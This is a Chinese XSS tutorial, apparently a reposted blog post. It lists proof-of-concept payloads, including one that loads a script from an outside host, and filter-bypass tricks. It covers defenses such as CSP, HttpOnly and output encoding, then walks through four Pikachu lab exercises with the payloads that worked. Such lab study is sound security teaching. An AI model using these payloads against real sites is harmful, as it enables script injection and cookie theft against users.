★★实战前置声明★★
文章中涉及的程序(方法)可能带有攻击性,仅供安全研究学习之用,读者将其信息做其他用途,由用户承担全部法律及连带责任文章作者不承担任何法律及连带责任

1、XSS漏洞挖掘与绕过

1.1、XSS漏洞挖掘

数据交互(输入/输出)的地方最容易产生跨站脚本,最重要的是考虑输入输出什么地方。一般常会对网站输入框、URL参数、COOKIE、POST表单、HTTP头内容进行测试

1.2、手工测试XSS步骤

1、找到测试点比如搜索框、留言板

2、根据测试流程首先实验一些特殊符号输入发现可以正常输出说明后端没有进行相关过滤比如'<>?"&/6666

3、如果有过滤则进行相关绕过

1.3、XSS常见POC

常见XSS语句<script>标签

&lt;script>alert(1)</script>
<script src=http://baidu.cn/xss/xss.js></script>
'><script>alert(1)</script>

常见XSS语句<img>标签

<img src=x onerror=alert(/xss/)>
<img src=javascript:alert(1)> //版本,E7.0|IE6.0,才能执行  
<img src=# onmouseover="alert(1)">

常见XSS语句<a>标签

"> <a href=javascript:alert('xss') > xss</a>
"> <a href="" οnclick="alert(1)"> xss</a>
1.4、XSS漏洞绕过方法
// 1.大小写绕过
<ScRiPt>alert(1)</ScRiPt>
// 2.双写绕过
<sc<script>ript>alert(/xss/)</script>
// 3.反引号绕过
`` 绕过单双引号过滤
// 4.关闭标签(利用<>关闭标签)
"> <script>alert(1)</script>
// 5.超链接标签
< a href= > 1 </ a>
// 6.图片链接绕过
< img src=1 onerror=alert(1)>
// 7.编码绕过
-- 八进制十进制十六进制编码html实体编码、url编码、base64等   
// 8.空格回车换行符tab混淆

2、XSS漏洞防御

2.1、CSP内容安全策略

CSP全称:Content Security Policy内容安全策略:禁止加载外域代码,防止复杂攻击逻辑;禁止外域提交网站攻击后,用户数据不会泄露到外域;禁止内联脚本执行(规则严格);禁止未授权脚本执行。

2.2、设置HttpOnly

通过设置HttpOnly防止cookie被窃取

2.3、输入输出检查

前端js后端(php)完善的过滤机制输入验证输出编码。也可以硬件防护:WAF和数据库安全等。

< 转成&amp;lt;
> 转成&amp;gt;       
&amp; 转成&amp;amp    
" 转成&amp;quot
' 转成&amp;#39
2.4、白名单或者黑名单

白名单验证:检查用户提交数据,只接受指定长度范围内,适当格式和预期字符输入,其余一律过滤

黑名单验证:过滤包含XSS代码特征内容比如<、 >、script、#

3、pikachu靶场4个场景实验

3.0、总体思路说明

先随便填写提交,看界面展示数据,右击查看页面源码数据是与回显一样,然后根据数据结构确定构建poc提交验证。

测试验证内容

'<>?"&amp;/6666
3.1、xss过滤
3.1.1、正常操作

输入’<>?”&amp;/6666,发现显示有点奇怪,按F12看源码发现内容回显,被单引号包起来,界面显示如下

在这里插入图片描述

3.1.2、查看源码

输入如下内容,按F2看源码,发现输入内容script标签的内容全部被过滤掉了

测试一下'<script>alert(1)</script>

在这里插入图片描述

3.1.3、确定攻击poc

以下是验证通过的poc

<ScRiPt>alert(1)</ScRiPt>
<svg onload=alert(1)>
<body onload=alert(1)>
<input type=image src=1 onerror=alert(1)>

在这里插入图片描述

3.2、xsshtmlspecialchars
3.2.1、正常操作

输入’<>?”&amp;/6666,界面显示如下

在这里插入图片描述

3.2.2、查看源码

查看源码,发现输入的内容,是填充在a标签的href和标签内,有被编码过的,href是用单引号的。

在这里插入图片描述

3.2.3、确定攻击poc

攻击poc可以采用a标签弹窗方式语句

<a href=javascript:alert('xss') > xss</a>

注意:只取href里面部分,且alert()的内容需要用双引号,或者用数字的方式。

验证成功的poc

javascript:alert("test")
javascript:alert(123)

在这里插入图片描述

3.3、xss之href输出
3.3.1、正常操作

输入’<>?”&amp;/6666,界面显示如下

在这里插入图片描述

3.3.2、查看源码

查看源码,发现输入的内容,是填充在a标签的href内,没有被编码过的。

3.3.3、确定攻击poc

攻击poc可以采用a标签弹窗方式的语句

<a href=javascript:alert('xss') > xss</a>

注意:只取href里面部分,且alert()的内容用单/双引号都可,或者用数字的方式。

验证成功的poc

javascript:alert('test')
javascript:alert("test")
javascript:alert(123)

在这里插入图片描述

3.4、xss之js输出
3.4.1、正常操作

输入’<>?”&amp;/6666,不显示任何东西,换成123尝试界面显示如下

在这里插入图片描述

3.4.2、查看源码

根据上面显示的内容,定位到p标签有一个id=“fromjs”,尝试搜索关键字:fromjs,发现页面有一段javascript代码,因此采用尝试闭合标签的方式。

在这里插入图片描述

3.4.3、确定攻击poc

验证成功的poc

</script><script>alert(1)</script>
</script><svg onload=alert(1)>
</script><img src=1 onerror=alert(1)>

在这里插入图片描述

4、总结

本文是Web漏洞-XSS攻击的第三篇,至此XSS攻击相关内容就告一段落。当时在做pikachu靶场实验【XSS之js输出】时完全没有头绪,前面9个实验的POC都无效,后来问了我的老师给我提示,查看源码了尝试闭合标签的方式,就瞬间明白了。有时知道一个知识点,到实际运用还是会懵,因此需要多练。与大家共勉。

后面会有CSRF、SSRF,SQL注入等内容的分享,其中SQL注入内容会比较多。还有一些PHP,Python编程基础知识,如果大家感兴趣的话,可以留言反馈,我再整理出来分享可以

5、资料获取

靶场环境搭建参考《靶场环境搭建【XP、pikachu、dvwa、sqli-labs】》

原文地址:https://blog.csdn.net/wuqixiufen2/article/details/134759226

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任

如若转载,请注明出处:http://www.7code.cn/show_46682.html

如若内容造成侵权/违法违规/事实不符,请联系代码007邮箱suwngjj01@126.com进行投诉反馈,一经查实,立即删除

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注